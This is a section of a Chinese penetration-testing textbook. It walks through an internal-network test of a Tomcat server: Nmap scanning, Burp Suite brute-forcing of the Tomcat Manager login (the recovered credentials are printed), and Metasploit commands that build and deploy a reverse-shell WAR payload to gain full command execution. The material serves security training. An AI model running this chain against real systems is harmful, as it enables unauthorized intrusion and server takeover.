
2.3 渗透测试实例
(1)在一次对某组织的内网渗透测试过程中,作者发现该组织启用了192.168.xx.0/24网段,由于我们知道这个网段上可供分配的最大IP数量多达上百个,但并不是每一个IP都分配了服务器,此时对这个网段进行存活主机探测是十分有必要的。作者不可能去手工尝试每个IP,这样会浪费许多没有意义的时间,这时我们便可以在Kali中通过使用如下Nmap指令来快速探测该网段内的所有存活主机:

可以看到Nmap在不到一秒的时间便完成了对该网段的扫描,成功探测到一个存活主机,对应IP为“192.168.xx.218”。
使用Nmap扫描存活主机如图2-41所示。

图2-41 使用Nmap扫描存活主机
(2)之后作者便需要再次使用Namp工具来对IP为“192.168.xx.218”的服务器进行一个端口检测,我们需使用如下命令:

在检测结果中读者可以看到该服务器共开放了三个端口:postgresql数据库5432端口、ajp服务8009端口及http服务8080端口。
使用Nmap扫描开放端口如图2-42所示。

图2-42 使用Nmap扫描开放端口
(3)在确定了服务器开放的端口之后我们需要针对每个端口上开放的服务定制对应的攻击思路并寻找相关服务是否存在现成的可被利用的漏洞。首先作者尝试使用postgresql数据库管理软件连接目标服务器的5432端口,发现连接失败,限制只能通过“localhost”(本地主机)访问,限制了其他IP的访问,此时我们需先暂时放弃对这个端口的进一步探测。接着作者通过查阅资料得知8009端口上的ajp服务是Apache Tomcat软件自动开放的一个服务,存在一个漏洞编号为cve-2020-1938的文件包含漏洞,我们可以优先对此端口进行一个漏洞检测。最后我们在浏览器中访问8080端口,作者发现服务器在此端口上开放了Apache Tomcat的默认Web操作界面。
Apache Tomcat默认界面如图2-43所示。

图2-43 Apache Tomcat默认界面
随后作者继续查阅资料得知在Apache Tomcat的默认Web操作界面中存在用户登录功能,作者可以在检测完ajp服务之后尝试爆破此服务器8080端口上的Tomcat登录密码。
(4)然后作者在Kali上开启Nessus扫描器(注:Kali并不自带该软件),我们可以通过使用Nessus来便捷检测8009端口是否存在文件包含漏洞,并且其他服务是否存在其他我们没有搜索到的漏洞。在扫描结束之后我们发现Nessus并没有提示该服务器8009端口上存在任何漏洞,除此之外也没有其他危害性较高的漏洞(全部为INFO类型的提示)。在渗透测试过程中若扫描器没有检测出漏洞是十分正常的,这并不意味着此服务器的确不存在漏洞,此时我们需要耐心地进一步进行手工渗透测试工作。
未在Nessus中探测到有效漏洞如图2-44所示。

图2-44 未在Nessus中探测到有效漏洞
(5)在自动测试结束之后,作者进入8080端口的网页界面,我们点击网页右上方的“Manager App”按钮并同时在Kali上开启Burp Suite使用浏览器抓包功能,可以看到浏览器中弹出输入系统用户名及密码的提示框。
Tomcat登录提示框如图2-45所示。

图2-45 Tomcat登录提示框
接着作者随便输入一个用户名及密码(在此示例中输入用户名test和密码123)然后点击“OK”按钮,再将界面切换到Burp Suite的历史抓包数据栏内,读者可以找到如图2-46 Tomcat登录数据包所示的含有登录信息的历史数据包。

图2-46 Tomcat登录数据包
在这个历史数据中,响应包的状态及HTML标题均为“401”,代表登录用户名及密码不正确,未登录成功(未授权);并且我们在请求包的HTTP头中看到了“Authorization:Basic”开头的头部内容,这代表此服务是使用基础身份认证,之后所接的一串内容便是Base64编码之后我们输入的用户名及密码。作者在Burp Suite的Decoder功能中对Base64编码之后的内容快速解码,可以看到解码之后的内容格式为:用户名+冒号+密码。
使用Burp Suite解码如图2-47所示。

图2-47 使用Burp Suite解码
(6)在确认了这些基本信息之后,作者可以将此登录数据包发送至Burp Suite的Intruder模块中,并在“Positions”选项卡内对用户名及密码部分添加标记。
在Burp Suite中设置Payload位置如图2-48所示。

图2-48 在Burp Suite中设置Payload位置
随后作者可以选择在“Payloads”选项卡内的“Payload Options”中手动添加或者导入一份网上整理编码好的用户名及密码爆破清单。在Burp Suite中导入Payload清单如图2-49所示。

图2-49 在Burp Suite中导入Payload清单
然后作者只需要点击“Start Attack”按钮开启爆破即可,之后我们看到在爆破窗口中出现了一个返回状态为“200”的用户名及密码爆破成功的数据包(并且我们可以观察到登录成功之后的返回包大小也比401状态下的返回包大),作者将Payload解码成功之后得知服务器管理员设置的Tomcat系统用户名为:tomcat,密码为:tomcat@2020。
在Burp Suite爆破窗口查看是否爆破成功如图2-50所示。

图2-50 在Burp Suite爆破窗口查看是否爆破成功
接着在浏览器中使用爆破出来的账户登录,成功进入了Apache Tomcat的App包管理界面。
Tomcat App管理界面如图2-51所示。

图2-51 Tomcat App管理界面
(7)在成功进入管理界面之后,作者通过查阅资料得知在此系统中可以上传任意的War数据包,此时我们可以在Kali中使用MetaSploit Framework来直接生成恶意War包一键获取目标服务器权限。
打开MetaSploit Framework,使用“use payload/java/meterpreter/reverse tcp”来到恶意War生成模块,并随后配置好回连地址及端口,接着作者使用“generate-f war-o/home/kali/1.war”命令在/home/kali/生成名为1.war的包。
使用MSF生成恶意War包如图2-52所示。

图2-52 使用MSF生成恶意War包
之后作者使用“use exploit/multi/handler”和“set payload java/meterpreter/reverse tcp”命令切换至MetaSploit Framework的监听模块,再次配置好与之前相同的回连地址并使用“exploit”命令开启监听模式。
在MSF中开启端口监听如图2-53所示。

图2-53 在MSF中开启端口监听
随后我们进入Tomcat App Manager界面的上传区域,将作者生成的War包上传至我们的目标服务器。
在Tomcat中上传War包如图2-54所示。

图2-54 在Tomcat中上传War包
之后,只需访问作者上传的文件目录即可触发Payload。
点击前往对应程序如图2-55所示。

图2-55 点击前往对应程序
可以看到MetaSploit Framework成功地收到了目标服务器回连过来的Shell,作者成功拿到了目标服务器的权限,这时我们可以在目标服务器上执行任意命令,渗透测试至此结束。
成功获取目标服务器权限如图2-56所示。

图2-56 成功获取目标服务器权限